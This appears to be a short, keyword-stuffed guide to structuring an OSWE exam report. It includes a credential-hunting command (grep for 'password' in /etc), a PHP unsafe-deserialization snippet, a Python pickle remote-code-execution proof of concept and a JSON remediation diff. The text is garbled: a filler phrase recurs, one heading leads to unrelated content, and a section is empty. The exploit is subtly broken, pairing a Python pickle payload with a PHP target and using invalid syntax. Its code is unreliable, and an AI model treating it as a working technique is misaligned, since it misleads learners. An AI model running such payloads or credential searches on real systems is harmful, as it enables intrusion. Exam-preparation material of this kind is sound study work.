Oswe Exam Report Work -
Before we look at the "how," we must understand the "why." The OSWE exam focuses on White Box Penetration Testing (source code review). The report requirements reflect that.
The OSWE report work must prove you understand why the vulnerability exists in the code, not just that you can type a command into a URL bar.
Commands used for enumeration and escalation: linpeas.sh, sudo -l, grep -R "password" /etc -n.
The OSWE exam requires two separate documents:
Prioritized actionable fixes:
Prevent IDOR
Prevent SQL Injection
Fix XSS
Harden Server
Logging & Detection
The error: A screenshot of a shell with no corresponding explanation.
The fix: Every screenshot must have a caption explaining what it proves and which step of the chain it belongs to.
4.1 Vulnerability Name & ID e.g., OSWE-01: PHP Object Injection leading to Remote Code Execution
4.2 Source Code Snippet (THE CRITICAL PART) Do not paste 100 lines. Paste 10 critical lines with line numbers. oswe exam report work
// File: modules/auth/Login.php - Line 42
$user_data = unserialize($_COOKIE['user_prefs']); // <-- Unsafe deserialization
$role = $user_data['role'];
if ($role === 'admin')
$this->runHook($_GET['action']);
4.3 Proof of Concept (PoC) Exploit Code
# exploit.py
import requests, pickle, os
class RCE:
def __reduce__(self):
return (os.system, ('cat /flag',))
cookie = 'user_prefs': pickle.dumps(RCE())
requests.get('http://target/admin/dashboard', cookies=cookie)
4.4 Step-by-Step Exploitation Walkthrough
4.5 Remediation (Code Fix) Show the exact line change in code.
- $user_data = unserialize($_COOKIE['user_prefs']);
+ $user_data = json_decode($_COOKIE['user_prefs'], true);